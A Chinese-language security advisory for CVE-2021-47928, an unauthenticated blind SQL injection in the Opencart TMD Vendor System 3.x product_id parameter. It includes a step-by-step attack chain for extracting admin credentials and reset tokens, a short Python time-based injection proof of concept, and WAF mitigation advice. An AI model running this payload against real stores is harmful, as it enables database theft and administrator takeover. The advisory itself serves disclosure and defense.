IPBUF安全漏洞报告
English
CVE-2021-47928 CVSS 8.2 高危

CVE-2021-47928 Opencart TMD Vendor System盲注漏洞

披露日期: 2026-05-10

漏洞信息

漏洞编号
CVE-2021-47928
漏洞类型
SQL注入
CVSS评分
8.2 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
Opencart TMD Vendor System

相关标签

SQL注入Blind SQL InjectionOpencartTMD Vendor SystemCVE-2021-47928远程代码执行

漏洞概述

Opencart TMD Vendor System 3.x版本存在盲SQL注入漏洞。由于未对product_id参数进行有效过滤,未认证攻击者可通过构造恶意SQL请求,利用基于时间或内容的盲注技术,从数据库的oc_user表中提取敏感信息。攻击者可借此枚举用户名、邮箱及密码重置码,严重威胁系统安全。

技术细节

该漏洞出现在Opencart TMD Vendor System插件处理产品相关路由的模块中。当系统接收包含product_id参数的HTTP请求时,直接将其拼接到SQL查询语句中执行,未进行任何安全过滤或参数化查询处理。由于漏洞不需要用户登录即可触发(PR:N),攻击者可远程发起攻击。利用方式通常采用基于时间的盲注技术,通过在注入点附加SLEEP()函数,根据数据库响应延迟判断SQL语句的真假。攻击者可逐字节提取数据库内容,最终获取oc_user表中的管理员用户名、电子邮箱及密码重置令牌。这些信息可用于进一步的身份盗用或后台接管。此外,攻击者还可以结合布尔盲注技术提高数据提取效率。由于该插件广泛应用于电商系统,其数据泄露风险极高,建议立即修复。

攻击链分析

STEP 1
1. 信息收集
攻击者确认目标网站使用了Opencart TMD Vendor System插件,并定位到包含product_id参数的接口。
STEP 2
2. 漏洞探测
攻击者在product_id参数中注入SQL语句(如AND SLEEP(5)),观察服务器响应时间,确认是否存在基于时间的盲注漏洞。
STEP 3
3. 数据库枚举
利用盲注技术,逐位猜测oc_user表中的列名和数据,如username, email, password等。
STEP 4
4. 敏感信息提取
成功提取出管理员的用户名、邮箱地址以及密码重置代码(reset token)。
STEP 5
5. 进一步利用
利用获取的邮箱和重置代码重置管理员密码,或尝试破解密码哈希,登录后台获取系统控制权。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests import time # Exploit Title: Opencart TMD Vendor System 3.x - Blind SQL Injection # Date: 2022-01-27 # Exploit Author: VulnCheck # Vendor Homepage: https://www.opencartextensions.in/ url = "http://target.com/index.php?route=extension/tmd_vendor/store/productdetail&product_id=" payload = "1' AND (SELECT SUBSTRING(password,1,1) FROM oc_user WHERE user_id=1)='a' AND SLEEP(5)-- -" start_time = time.time() response = requests.get(url + payload) end_time = time.time() if end_time - start_time > 5: print("[+] Vulnerable! First character of password is 'a'") else: print("[-] Not vulnerable or character mismatch")

影响范围

Opencart TMD Vendor System 3.x

防御指南

临时缓解措施
建议立即在WAF(Web应用防火墙)中添加针对SQL注入的防护规则,特别是拦截包含SLEEP、BENCHMARK、UNION SELECT等关键字的请求。同时,暂时禁用受影响插件的功能模块,直至完成修复。

参考链接